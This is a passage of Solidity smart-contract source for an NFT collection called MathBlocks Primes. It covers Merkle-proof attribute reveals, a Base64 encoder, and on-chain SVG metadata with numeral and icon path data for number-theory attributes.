<< (iid * 16); ref.array[aid] = masked | mask; } function extractIndex(PackedArray storage ref, uint256 _index) internal { // Get value at the end uint16 endValue = ref.getValue(ref.length - 1); ref.setValue(_index, endValue); // TODO - could get rid of this and rely on length if need to reduce gas // ref.setValue(ref.length - 1, 0); ref.length--; } } library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } /// @title MathBlocks, Primes /******************************************** * MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM * * MMMMMMMMMMMMNmdddddddddddddddddmNMMMMMMM * * MMMMMMMMMmhyssooooooooooooooooosyhNMMMMM * * MMMMMMMmyso+/::::::::::::::::::/osyMMMMM * * MMMMMMhys+::/+++++++++++++++++/:+syNMMMM * * MMMMNyso/:/+/::::+/:::/+:::::::+oshMMMMM * * MMMMmys/-//:/++:/+://-++-+oooossydMMMMMM * * MMMMNyso+//+s+/:+/:+/:+/:+syddmNMMMMMMMM * * MMMMMNdyyyyso/:++:/+:/+/:+syNMMMMMMMMMMM * * MMMMMMMMMhso/:/+/:++:/++-+symMMMMMMMMMMM * * MMMMMMMMdys+:/++:/++:/++:/+syNMMMMMMMMMM * * MMMMMMMNys+:/++/:+s+:/+++:/oydMMMMMMMMMM * * MMMMMMMmys+:/+/:/oso/:///:/sydMMMMMMMMMM * * MMMMMMMMhso+///+osyso+///osyhMMMMMMMMMMM * * MMMMMMMMMmhyssyyhmMdhyssyydNMMMMMMMMMMMM * * MMMMMMMMMMMMMNMMMMMMMMMNMMMMMMMMMMMMMMMM * *******************************************/ struct CoreData { bool isPrime; uint16 primeIndex; uint8 primeFactorCount; uint16[2] parents; uint32 lastBred; } struct RentalData { bool isRentable; bool whitelistOnly; uint96 studFee; uint32 deadline; uint16[6] suitors; } struct PrimeData { uint16[2] sexyPrimes; uint16[2] twins; uint16[2] cousins; } struct NumberData { CoreData core; PrimeData prime; } struct Activity { uint8 tranche0; uint8 tranche1; } enum Attribute { TAXICAB_NUMBER, PERFECT_NUMBER, EULERS_LUCKY_NUMBER, UNIQUE_PRIME, FRIENDLY_NUMBER, COLOSSALLY_ABUNDANT_NUMBER, FIBONACCI_NUMBER, REPDIGIT_NUMBER, WEIRD_NUMBER, TRIANGULAR_NUMBER, SOPHIE_GERMAIN_PRIME, STRONG_PRIME, FRUGAL_NUMBER, SQUARE_NUMBER, EMIRP, MAGIC_NUMBER, LUCKY_NUMBER, GOOD_PRIME, HAPPY_NUMBER, UNTOUCHABLE_NUMBER, SEMIPERFECT_NUMBER, HARSHAD_NUMBER, EVIL_NUMBER } contract TokenAttributes { bytes32 public attributesRootHash; mapping(uint256 => uint256) internal packedTokenAttrs; event RevealedAttributes(uint256 tokenId, uint256 attributes); constructor(bytes32 _attributesRootHash) { attributesRootHash = _attributesRootHash; } /*************************************** ATTRIBUTES ****************************************/ function revealAttributes( uint256 _tokenId, uint256 _attributes, bytes32[] memory _merkleProof ) public { bytes32 leaf = keccak256(abi.encodePacked(_tokenId, _attributes)); require(MerkleProof.verify(_merkleProof, attributesRootHash, leaf), "Invalid merkle proof"); packedTokenAttrs[_tokenId] = _attributes; emit RevealedAttributes(_tokenId, _attributes); } function getAttributes(uint256 _tokenId) public view returns (bool[23] memory attributes) { uint256 packed = packedTokenAttrs[_tokenId]; for (uint8 i = 0; i < 23; i++) { attributes[i] = _getAttr(packed, i); } return attributes; } function _getAttr(uint256 _packed, uint256 _attribute) internal pure returns (bool attribute) { uint256 flag = (_packed >> _attribute) & uint256(1); attribute = flag == 1; } } library Base64 { string internal constant TABLE_ENCODE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ""; // load the table into memory string memory table = TABLE_ENCODE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for { } lt(dataPtr, endPtr) { } { // read 3 bytes dataPtr := add(dataPtr, 3) let input := mload(dataPtr) // write 4 characters mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F)))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } library PrimesTokenURI { string internal constant DESCRIPTION = "Primes is MathBlocks Collection #1."; string internal constant STYLE = "<style>.p #bg{fill:#ddd} .c #bg{fill:#222} .p .factor,.p #text{fill:#222} .c .factor,.c #text{fill:#ddd} .sexy{fill:#e44C21} .cousin{fill:#348C47} .twin {fill:#3C4CE1} #grid .factor{r: 8} .c #icons *{fill: #ddd} .p #icons * {fill:#222} #icons .stroke *{fill:none} #icons .stroke {fill:none;stroke:#222;stroke-width:8} .c #icons .stroke{stroke:#ddd} .square{stroke-width:2;fill:none;stroke:#222;r:8} .c .square{stroke:#ddd} #icons #i-4 circle{stroke-width:20}</style>"; function tokenURI( uint256 _tokenId, NumberData memory _numberData, uint16[] memory _factors, bool[23] memory _attributeValues ) public pure returns (string memory output) { string[24] memory parts; // 23 attributes revealed with merkle proof for (uint8 i = 0; i < 23; i++) { parts[i] = _attributeValues[i] ? string(abi.encodePacked('{ "value": "', _attributeNames(i), '" }')) : ""; } // Last attribute: Unit/Prime/Composite parts[23] = string( abi.encodePacked( '{ "value": "', _tokenId == 1 ? "Unit" : _numberData.core.isPrime ? "Prime" : "Composite", '" }' ) ); string memory json = string( abi.encodePacked( '{ "name": "Primes #', _toString(_tokenId), '", "description": "', DESCRIPTION, '", "attributes": [', _getAttributes(parts), '], "image": "', _getImage(_tokenId, _numberData, _factors, _attributeValues), '" }' ) ); output = string( abi.encodePacked("data:application/json;base64,", Base64.encode(bytes(json))) ); } function _getImage( uint256 _tokenId, NumberData memory _numberData, uint16[] memory _factors, bool[23] memory _attributeValues ) internal pure returns (string memory output) { // 350x350 canvas // padding: 14 // 14x14 grid (bottom row for icons etc) // grid square: 23 // inner square: 16 (circle r=8) string memory svg = string( abi.encodePacked( '<svg xmlns="http://www.w3.org/2000/svg" width="350" height="350">', _svgContent(_tokenId, _numberData, _factors, _attributeValues), "</svg>" ) ); output = string(abi.encodePacked("data:image/svg+xml;base64,", Base64.encode(bytes(svg)))); } function _svgContent( uint256 _tokenId, NumberData memory _numberData, uint16[] memory _factors, bool[23] memory _attributeValues ) internal pure returns (string memory output) { output = string( abi.encodePacked( STYLE, '<g class="', _numberData.core.isPrime && _tokenId != 1 ? "p" : "c", '"><rect id="bg" width="100%" height="100%" />', _circles(_tokenId, _numberData, _factors), _text(_tokenId), _icons(_tokenId, _numberData.core.isPrime, _attributeValues), "</g>" ) ); } function _text(uint256 _tokenId) internal pure returns (string memory output) { uint256[] memory digits = _getDigits(_tokenId); // 16384 has an extra row; move the text to the top right to avoid an overlap uint256 dx = _tokenId == 16384 ? 277 : 18; uint256 dy = _tokenId == 16384 ? 18 : 318; output = string( abi.encodePacked( '<g id="text" transform="translate(', _toString(dx), ",", _toString(dy), ')">', _getNumeralPath(digits, 0), _getNumeralPath(digits, 1), _getNumeralPath(digits, 2), _getNumeralPath(digits, 3), _getNumeralPath(digits, 4), "</g>" ) ); } function _getNumeralPath(uint256[] memory _digits, uint256 _index) internal pure returns (string memory output) { if (_digits.length <= _index) { return output; } output = string( abi.encodePacked( '<g transform="translate(', _toString(_index * 12), ',0)"><path d="', _getNumeralPathD(_digits[_index]), '" /></g>' ) ); } // Space Mono numerals function _getNumeralPathD(uint256 _digit) internal pure returns (string memory) { if (_digit == 0) { return "M0 5.5a6 6 0 0 1 1.3-4C2 .4 3.3 0 4.7 0c1.5 0 2.7.5 3.5 1.4a6 6 0 0 1 1.3 4.1v3c0 1.8-.5 3.2-1.3 4.1-.8 1-2 1.4-3.5 1.4s-2.6-.5-3.5-1.4C.4 11.6 0 10.3 0 8.5v-3Zm4.7 7c1 0 1.8-.3 2.4-1 .5-.8.7-1.8.7-3.1V5.6L7.7 4 7 2.6l-1-.8c-.4-.2-.9-.3-1.4-.3-.5 0-1 0-1.3.3l-1 .8c-.3.4-.5.8-.6 1.3l-.2 1.7v2.8c0 1.3.3 2.3.8 3 .5.8 1.3 1.1 2.3 1.1ZM3.5 7c0-.3.1-.6.4-.9.2-.2.5-.3.8-.3.4 0 .7 0 .9.3.2.3.4.6.4.9 0 .3-.2.6-.4.9-.2.2-.5.3-.9.3-.3 0-.6 0-.8-.3-.3-.3-.4-.6-.4-.9Z"; } else if (_digit == 1) { return "M4 12.2V1h-.2L1.6 6H0L2.5.2h3.2v12h3.8v1.4H.2v-1.5H4Z"; } else if (_digit == 2) { return "M9.2 12.2v1.5h-9v-2.3c0-.6 0-1.1.2-1.6.2-.4.5-.8.9-1.1.4-.4.8-.7 1.4-.9l1.8-.5c1.1-.3 2-.7 2.5-1.1.5-.5.7-1 .7-1.8l-.1-1.1-.6-1c-.2-.2-.5-.4-1-.5-.3-.2-.7-.3-1.3-.3a3 3 0 0 0-2.3.9c-.5.6-.8 1.4-.8 2.4v.9H0v-1l.3-1.8c.2-.5.5-1 1-1.5.3-.4.8-.8 1.4-1a5 5 0 0 1 2-.4c.8 0 1.5.1 2 .4.6.2 1.1.5 1.5 1 .4.3.7.7.9 1.2.2.5.2 1 .2 1.5v.4c0 1-.3 1.9-1 2.6-.6.7-1.6 1.2-3 1.6-1.2.2-2.1.6-2.7 1-.6.5-.9 1.1-.9 2v.5h7.5Z"; } else if (_digit == 3) { return "M3.3 7V4.8L7.7 2v-.2H.1V.3h9v2.4L4.7 5.5v.3h.8a3.7 3.7 0 0 1 4 3.8v.3a3.8 3.8 0 0 1-1.3 3A4.8 4.8 0 0 1 4.9 14c-.8 0-1.5-.1-2-.3a4.4 4.4 0 0 1-2.5-2.4C0 10.7 0 10.2 0 9.5v-1h1.6v1c0 .4 0 .8.2 1.2l.7 1 1 .6a3.8 3.8 0 0 0 2.5 0 3 3 0 0 0 1-.6c.3-.2.5-.5.6-.9.2-.3.2-.7.2-1v-.2c0-.8-.2-1.4-.7-1.9-.5-.4-1.2-.7-2-.7H3.4Z"; } else if (_digit == 4) { return "M4.7.3h3.1v9.4H10v1.5H8v2.5H6.1v-2.5H0V9L4.7.3ZM1.4 9.5v.2h4.8V1H6L1.4 9.5Z"; } else if (_digit == 5) { return "M.2 7.4V.3h8.5v1.5H1.8v4.8H2l.5-.8a3.4 3.4 0 0 1 1.7-1l1.1-.2c.7 0 1.2.1 1.7.3a3.9 3.9 0 0 1 2.3 2.2c.2.6.3 1.1.3 1.8v.3c0 .7-.1 1.3-.3 1.9-.2.5-.5 1-1 1.5-.3.4-.8.8-1.4 1a5 5 0 0 1-2 .4c-.8 0-1.5-.1-2.1-.3-.6-.3-1.1-.6-1.5-1-.5-.4-.8-.9-1-1.4C.1 10.7 0 10 0 9.3V9h1.6v.4c0 1 .3 1.9.9 2.4.6.5 1.4.8 2.3.8.6 0 1 0 1.4-.3l1-.7.6-1.1L8 9V9a3 3 0 0 0-.8-2c-.2-.3-.5-.5-.9-.7a2.6 2.6 0 0 0-1.8 0 2 2 0 0 0-.6.2l-.4.4-.2.5h-3Z"; } else if (_digit == 6) { return "M7.5 4.2c0-.8-.3-1.5-.8-2s-1.2-.8-2.1-.8l-1.2.3c-.4.1-.7.3-1 .6a3.2 3.2 0 0 0-.8 2.4v2h.2c.4-.6.8-1 1.4-1.4.5-.3 1.2-.5 1.9-.5.6 0 1.2.1 1.7.4.5.1 1 .4 1.3.8l1 1.4.2 1.9v.2A4.5 4.5 0 0 1 8 12.8c-.4.3-.9.7-1.5.9a5.2 5.2 0 0 1-3.7 0c-.6-.2-1-.5-1.5-1-.4-.3-.7-.8-1-1.3L0 9.6v-5c0-.7.1-1.3.4-1.9.2-.5.5-1 1-1.4.4-.4.9-.8 1.4-1a5.4 5.4 0 0 1 3.6 0 4 4 0 0 1 2.7 3.9H7.5Zm-2.8 8.4c.4 0 .9 0 1.2-.2l1-.7c.3-.2.5-.6.6-1 .2-.3.2-.7.2-1.2v-.2c0-.4 0-.9-.2-1.2a2.7 2.7 0 0 0-1.6-1.6c-.4-.2-.8-.2-1.2-.2a3.1 3.1 0 0 0-2.2.8 3 3 0 0 0-.9 2.1v.4c0 .4 0 .8.2 1.2a2.7 2.7 0 0 0 1.6 1.6l1.3.2Z"; } else if (_digit == 7) { return "M0 .3h9v2.3l-5.7 8.6-.6 1a2 2 0 0 0-.2 1v.5H.9V12.4a3.9 3.9 0 0 1 .7-1.3l.5-.8L7.6 2v-.2H0V.3Z"; } else if (_digit == 8) { return "M4.5 14a6 6 0 0 1-1.8-.3L1.2 13l-.9-1.2c-.2-.4-.3-1-.3-1.5v-.2A3.3 3.3 0 0 1 .8 8a3.3 3.3 0 0 1 1.7-1v-.3a3 3 0 0 1-.8-.4c-.3-.1-.5-.4-.7-.6a3 3 0 0 1-.6-1.9v-.2A3.2 3.2 0 0 1 1.4 1a5.4 5.4 0 0 1 3.1-1h.1C5.4 0 6 0 6.5.3c.5.1 1 .4 1.3.7A3.1 3.1 0 0 1 9 3.5v.2c0 .4 0 .7-.2 1 0 .4-.2.7-.5.9a3 3 0 0 1-.6.6 3 3 0 0 1-.9.4V7a3.7 3.7 0 0 1 1.8 1 3.3 3.3 0 0 1 .7 2.2v.2A3.3 3.3 0 0 1 8.1 13l-1.4.7a6 6 0 0 1-1.9.3h-.3Zm.3-1.5c.9 0 1.6-.2 2.1-.6.6-.5.8-1 .8-1.8V10c0-.8-.3-1.4-.8-1.8-.6-.5-1.3-.7-2.2-.7-1 0-1.7.2-2.3.7-.5.4-.8 1-.8 1.8v.1c0 .7.3 1.3.8 1.8.6.4 1.3.6 2.2.6h.2ZM4.7 6a3 3 0 0 0 2-.6c.4-.5.7-1 .7-1.6v-.1A2 2 0 0 0 6.6 2a3 3 0 0 0-2-.6 3 3 0 0 0-2 .6A2 2 0 0 0 2 3.7c0 .7.2 1.2.7 1.7a3 3 0 0 0 2 .6Z"; } else { return "M1.8 9.8c0 .8.3 1.5.8 2a3 3 0 0 0 2.1.8c.5 0 .9-.1 1.2-.3.4-.1.7-.3 1-.6.3-.3.5-.6.6-1 .2-.4.2-.9.2-1.4v-2h-.2c-.3.6-.7 1-1.3 1.4-.5.3-1.2.5-1.9.5a5 5 0 0 1-1.7-.3A3.8 3.8 0 0 1 .3 6.6C.1 6.1 0 5.5 0 4.8v-.2c0-.7.1-1.3.3-1.9A4.2 4.2 0 0 1 2.8.3 5 5 0 0 1 4.7 0 4.9 4.9 0 0 1 8 1.3c.4.4.8.8 1 1.4.2.5.3 1.1.3 1.8v4.8a5 5 0 0 1-.3 2 4.3 4.3 0 0 1-2.5 2.4 5.5 5.5 0 0 1-3.6 0L1.5 13l-1-1.3-.3-1.8h1.6Zm2.9-8.4c-.5 0-1 .1-1.3.3a2.8 2.8 0 0 0-1.6 1.6l-.2 1.2v.3c0 .4 0 .8.2 1.2l.7 1 1 .5c.3.2.7.2 1.2.2.4 0 .8 0 1.2-.2a3 3 0 0 0 1-.6l.6-1c.2-.3.2-.7.2-1v-.4c0-.5 0-.9-.2-1.2-.1-.4-.3-.7-.6-1-.3-.3-.6-.5-1-.6-.3-.2-.8-.3-1.2-.3Z"; } } function _getIconGeometry(uint256 _attribute) internal pure returns (string memory) { if (_attribute == 0) { // Taxicab Number return '<rect y="45" width="15" height="15" rx="2"/><rect x="15" y="30" width="15" height="15" rx="2"/><rect x="30" y="15" width="15" height="15" rx="2"/><path d="M45 2c0-1.1.9-2 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H47a2 2 0 0 1-2-2V2Z"/><path d="M45 32c0-1.1.9-2 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H47a2 2 0 0 1-2-2V32Z"/><path d="M30 47c0-1.1.9-2 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H32a2 2 0 0 1-2-2V47Z"/><path d="M0 17c0-1.1.9-2 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V17Z"/><path d="M15 2c0-1.1.9-2 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H17a2 2 0 0 1-2-2V2Z"/>'; } else if (_attribute == 1) { // Perfect Number return '<g class="stroke"><path d="m12 12 37 37"/><path d="m12 49 37-37"/><path d="M5.4 30H56"/><path d="M30.7 55.3V4.7"/></g>'; } else if (_attribute == 2) { // Euler's Lucky Numbers return '<path d="M30.8 7.3c-10 0-15.4 5.9-16.4 17.8 0 .6.3.8 1 .8h29c.6 0 1-.2 1-.8C44.8 13.2 40 7.3 30.7 7.3Zm2.3 52c-8.8 0-15.6-2.4-20.2-7.2C8.3 47 6 39.9 6 30c0-10 2.2-17.3 6.6-22A23.8 23.8 0 0 1 30.8 1C45 1 52.5 9.4 53.4 26.2c0 1.7-.5 3.2-1.8 4.4a6.2 6.2 0 0 1-4.5 1.7h-32c-.5 0-.8.3-.8 1C15 46.5 21.5 53 34 53c4 0 8.3-.8 12.6-2.3.8-.3 1.5-.2 2.3.3.7.4 1 1 1 2 0 2.4-1 4-3.3 4.5-4.6 1.1-9 1.7-13.4 1.7Z"/>'; } else if (_attribute == 3) { // Unique Prime return '<circle class="stroke" cx="30" cy="30" r="20"/>'; } else if (_attribute == 4) { // Friendly Number return '<path fill-rule="evenodd" clip-rule="evenodd" d="M30 60a30 30 0 1 0 0-60 30 30 0 0 0 0 60ZM17.5 31c3.6 0 6.5-4.3 6.5-9.5S21 12 17.5 12c-3.6 0-6.5 4.3-6.5 9.5s3 9.5 6.5 9.5ZM49 21.5c0 5.2-3 9.5-6.5 9.5-3.6 0-6.5-4.3-6.5-9.5s3-9.5 6.5-9.5c3.6 0 6.5 4.3 6.5 9.5Zm-2.8 21.9a4 4 0 1 0-6.4-4.8c-5.1 7-15.2 7.3-20.6 0a4 4 0 0 0-6.4 4.8 20.5 20.5 0 0 0 33.4 0Z"/>'; } else if (_attribute == 5) { // Colossally Abundant Number return '<path d="M34 4a4 4 0 0 0-8 0v22H4a4 4 0 0 0 0 8h22v22a4 4 0 0 0 8 0V34h22a4 4 0 0 0 0-8H34V4Z"/>'; } else if (_attribute == 6) { // Fibonacci Number return '<path class="stroke" d="M31.3 23a.6.6 0 0 0 0-.4.6.6 0 0 0-.5-.2h-.3a.8.8 0 0 0-.5.3l-.1.4v.3a1 1 0 0 0 .5.7 1.2 1.2 0 0 0 .9.2l.5-.2.4-.5.2-.5a1.7 1.7 0 0 0-.3-1.3 2 2 0 0 0-1.3-.8h-.9l-.8.4c-.3.1-.5.4-.7.7-.2.3-.3.6-.3 1a3 3 0 0 0 .5 2.2 3.3 3.3 0 0 0 2.2 1.4h1.5a4 4 0 0 0 1.4-.7c.5-.3.9-.7 1.2-1.2a5.1 5.1 0 0 0-.2-5.6 5.8 5.8 0 0 0-3.9-2.4c-.8-.2-1.7-.2-2.6 0a7 7 0 0 0-2.5 1.2 8 8 0 0 0-2 2.1c-.5.9-.9 1.9-1 3a8.8 8.8 0 0 0 1.5 6.7 10 10 0 0 0 6.6 4.1c1.4.3 3 .3 4.4 0a13 13 0 0 0 7.8-5.6c1-1.6 1.6-3.4 2-5.2a15.2 15.2 0 0 0-2.7-11.6 17.2 17.2 0 0 0-11.5-7.2c-2.4-.4-5-.4-7.6.2-2.6.6-5.2 1.7-7.5 3.3a22.6 22.6 0 0 0-6 6.4 24.5 24.5 0 0 0-3.3 8.9A26.3 26.3 0 0 0 11 43a29.7 29.7 0 0 0 19.8 12.4A33.5 33.5 0 0 0 54.2 51"/>'; } else if (_attribute == 7) { // Repdigit Number return '<g class="stroke"><path d="M44 20.8h13.8V7"/><path d="M12 11a25.4 25.4 0 0 1 36 0l9.8 9.8"/><path d="M16 37.2H2.3V51"/><path d="M48 47a25.4 25.4 0 0 1-36 0l-9.8-9.8"/></g>'; } else if (_attribute == 8) { // Weird Number return '<path d="M28.8 41.6c-1.8 0-3.3-1.5-3-3.3.1-1.3.4-2.4.7-3.3a17 17 0 0 1 3.6-5.4l4.6-4.7c2-2.3 3-4.7 3-7.2s-.7-4.4-2-5.8c-1.3-1.4-3.2-2.1-5.6-2.1-2.4 0-4.3.6-5.8 1.9-.6.6-1.1 1.2-1.5 2-.8 1.6-2.1 3.1-3.9 3.1-1.8 0-3.3-1.5-2.9-3.2.6-2.4 1.8-4.4 3.7-6 2.7-2.3 6.1-3.5 10.4-3.5 4.4 0 7.9 1.2 10.3 3.6 2.5 2.4 3.7 5.6 3.7 9.8 0 4-1.9 8.1-5.6 12.1l-3.9 3.8a10 10 0 0 0-2.3 5c-.3 1.7-1.7 3.2-3.5 3.2Zm-3.5 11.1c0-1 .3-1.9 1-2.6.6-.7 1.5-1.1 2.8-1.1 1.3 0 2.2.4 2.9 1 .6.8 1 1.7 1 2.7 0 1-.4 2-1 2.7-.7.6-1.6 1-2.9 1-1.3 0-2.2-.4-2.9-1-.6-.7-1-1.6-1-2.7Z"/>'; } else if (_attribute == 9) { // Triangular Number return '<path d="M2 51 28.2 8.6a2 2 0 0 1 3.4 0L58.1 51a2 2 0 0 1-1.7 3.1H3.6A2 2 0 0 1 2 51Z"/>'; } else if (_attribute == 10) { // Sophie Germain Prime return '<path d="M11.6 32.2c-4.1-1.4-7-3.1-9-5.1C1 25.1 0 22.7 0 19.9c0-3.2 1-5.8 3-7.6 2-1.9 4.8-2.8 8.3-2.8 3.3 0 6.2.4 8.7 1.2.8.3 1.4.7 1.9 1.5.5.7.7 1.5.7 2.3 0 .6-.3 1.1-.8 1.5-.5.3-1 .3-1.7 0a21 21 0 0 0-8.3-1.7c-1.9 0-3.4.5-4.4 1.5-1 1-1.6 2.3-1.6 4a6 6 0 0 0 1.5 4c1 1.1 2.4 2 4.3 2.6 4.7 1.7 8 3.4 9.8 5.4 1.9 2 2.8 4.5 2.8 7.5 0 3.7-1 6.5-3.3 8.4-2.2 1.9-5.5 2.8-9.9 2.8-2.8 0-5.4-.4-7.7-1.3-1.6-.7-2.5-2-2.5-4 0-.7.3-1.1.8-1.4.6-.3 1-.3 1.6 0a15 15 0 0 0 7.3 1.8c5.2 0 7.8-2.1 7.8-6.3 0-1.6-.5-3-1.6-4.1-1-1.1-2.7-2.1-5.1-3Z"/><path d="M47.6 50.5c-5.5 0-10-1.9-13.5-5.6A20.8 20.8 0 0 1 28.8 30c0-6.3 1.8-11.3 5.3-15 3.6-3.7 8.4-5.5 14.6-5.5 2.5 0 4.8.2 7 .5a3.1 3.1 0 0 1 2.5 3.1c0 .7-.3 1.2-.8 1.6a2 2 0 0 1-1.7.3c-2-.5-4-.7-6.5-.7-4.6 0-8.2 1.4-10.7 4C36 21 34.8 25 34.8 30a17 17 0 0 0 3.7 11.5c2.4 2.8 5.6 4.2 9.7 4.2 2 0 4-.3 5.8-.9.2 0 .3-.2.3-.5V31.5c0-.3-.1-.5-.4-.5H45c-.7 0-1.2-.2-1.7-.6-.4-.5-.6-1-.6-1.7s.2-1.2.6-1.7c.5-.4 1-.7 1.7-.7h11.8a3 3 0 0 1 2.2 1 3 3 0 0 1 .9 2.2v15.4c0 1-.3 1.8-.8 2.6s-1.2 1.3-2 1.6c-2.9 1-6 1.4-9.6 1.4Z"/>'; } else if (_attribute == 11) { // Strong Prime return '<g class="stroke"><path d="M4 28h52"/><path d="M16 40V15"/><path d="M10 34V21"/><path d="M43.6 40V15"/><path d="M50 34.8V20.2"/></g>'; } else if (_attribute == 12) { // Frugal Number return '<circle cx="8" cy="29" r="8"/><circle cx="30" cy="29" r="8"/><circle cx="52" cy="29" r="8"/>'; } else if (_attribute == 13) { // Square Number return '<rect width="60" height="60" rx="2"/>'; } else if (_attribute == 14) { // EMIRP return '<path d="m14.8 27.7 21.4-16.1a4 4 0 0 0 1.6-3.2V4a2 2 0 0 0-3.2-1.6L2.3 26.8l-.6.4c-.9.6-1.7 1.2-1.7 2.1 0 .7.3 1.4.7 1.7l33.8 28a2 2 0 0 0 3.3-1.5v-5.1a4 4 0 0 0-1.4-3L14.7 30.8a2 2 0 0 1 .1-3.2ZM59.8 5v52.6a2 2 0 0 1-3.3 1.5L22.7 31a2 2 0 0 1 0-3l34-25.7c1.2-1 3.1 1 3.1 2.6Z"/>'; } else if (_attribute == 15) { // Magic Number return '<path d="M28.1 2.9a2 2 0 0 1 3.8 0l5.5 16.9a2 2 0 0 0 2 1.4H57a2 2 0 0 1 1.2 3.6L44 35.3a2 2 0 0 0-.7 2.2l5.5 17a2 2 0 0 1-3.1 2.2L31.2 46.2a2 2 0 0 0-2.4 0L14.4 56.7a2 2 0 0 1-3-2.2l5.4-17a2 2 0 0 0-.7-2.2L1.7 24.8a2 2 0 0 1 1.2-3.6h17.8a2 2 0 0 0 1.9-1.4l5.5-17Z"/>'; } else if (_attribute == 16) { // Lucky Number return '<path d="M31.3 23.8a2 2 0 0 1-2.6 0C20.3 16.4 16 12.4 16 7.5 16 3.4 19.3 0 23.5 0a9 9 0 0 1 4.8 1.3c1 .7 2.4.7 3.4 0C33 .5 34.7 0 36.3 0 40.5 0 44 3.2 44 7.3c0 5-4.3 9.1-12.7 16.5Z"/><path d="M23.8 28.7C16.4 20.3 12.4 16 7.3 16c-4 0-7.3 3.5-7.3 7.7 0 1.7.5 3.3 1.3 4.6.7 1 .7 2.4 0 3.4A9 9 0 0 0 0 36.5C0 40.7 3.4 44 7.5 44c4.9 0 9-4.3 16.3-12.7a2 2 0 0 0 0-2.6Z"/><path d="M52.7 44c-5 0-9.1-4.3-16.5-12.7a2 2 0 0 1 0-2.6C43.6 20.3 47.6 16 52.5 16c4 0 7.5 3.3 7.5 7.5a9 9 0 0 1-1.3 4.8c-.7 1-.7 2.4 0 3.4.8 1.3 1.3 3 1.3 4.6 0 4.2-3.2 7.7-7.3 7.7Z"/><path d="M28.7 36.2C20.3 43.6 16 47.6 16 52.7c0 4 3.5 7.3 7.7 7.3 1.7 0 3.3-.5 4.6-1.3 1-.7 2.4-.7 3.4 0a9 9 0 0 0 4.8 1.3c4.2 0 7.5-3.4 7.5-7.5 0-4.9-4.3-9-12.7-16.3a2 2 0 0 0-2.6 0Z"/>'; } else if (_attribute == 17) { // Good Prime return '<path fill-rule="evenodd" clip-rule="evenodd" d="M56.6 8.3c2 1.4 2.5 4.2 1 6.3l-29.2 42a4.5 4.5 0 0 1-7.3.1L2.4 32.2a4.5 4.5 0 1 1 7.2-5.4l15 19.6 25.7-37c1.4-2 4.2-2.5 6.3-1Z"/>'; } else if (_attribute == 18) { // Happy Number return '<path fill-rule="evenodd" clip-rule="evenodd" d="M30 60a30 30 0 1 0 0-60 30 30 0 0 0 0 60ZM17.5 23c5 0 6.5 3.7 6.5-1.5S21 12 17.5 12c-3.6 0-6.5 4.3-6.5 9.5s1.5 1.5 6.5 1.5ZM49 21.5c0 5.2-2 1.5-6.5 1.5-5 0-6.5 3.7-6.5-1.5s3-9.5 6.5-9.5c3.6 0 6.5 4.3 6.5 9.5Zm-2.8 21.9c1.3-1.8 1.4-5.6-.8-5.6H13.6a4 4 0 0 0-.8 5.6 20.5 20.5 0 0 0 33.4 0Z"/>'; } else if (_attribute == 19) { // Untouchable Number return '<path d="M8.8 2.2a4 4 0 0 0-5.6 5.6l21.6 21.7L3.2 51.2a4 4 0 1 0 5.6 5.6l21.7-21.6 21.7 21.6a4 4 0 1 0 5.6-5.6L36.2 29.5 57.8 7.8a4 4 0 1 0-5.6-5.6L30.5 23.8 8.8 2.2Z"/>'; } else if (_attribute == 20) { // Semiperfect Number return '<path fill-rule="evenodd" clip-rule="evenodd" d="M42.7 1a4 4 0 0 1 4 4v50.6a4 4 0 1 1-8 0V40.2l-11.9 12a4 4 0 1 1-5.6-5.7l12.1-12.2H17a4 4 0 0 1 0-8h15.3L21.2 15a4 4 0 1 1 5.6-5.6l12 11.8V5a4 4 0 0 1 4-4Z"/>'; } else if (_attribute == 21) { // Harshad Number return '<path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0Z"/><path d="M3.2 57.8a4 4 0 0 1 0-5.6l49-49a4 4 0 0 1 5.6 5.6l-49 49a4 4 0 0 1-5.6 0Z"/><path d="M52 60a8 8 0 1 0 0-16 8 8 0 0 0 0 16Z"/>'; } else if (_attribute == 22) { // Evil Number return '<path d="M28.3 2.6 23 11a2 2 0 0 0 1.7 3.1H26v12h-7a6 6 0 0 1-6-6v-6h.4a2 2 0 0 0 1.8-3L13 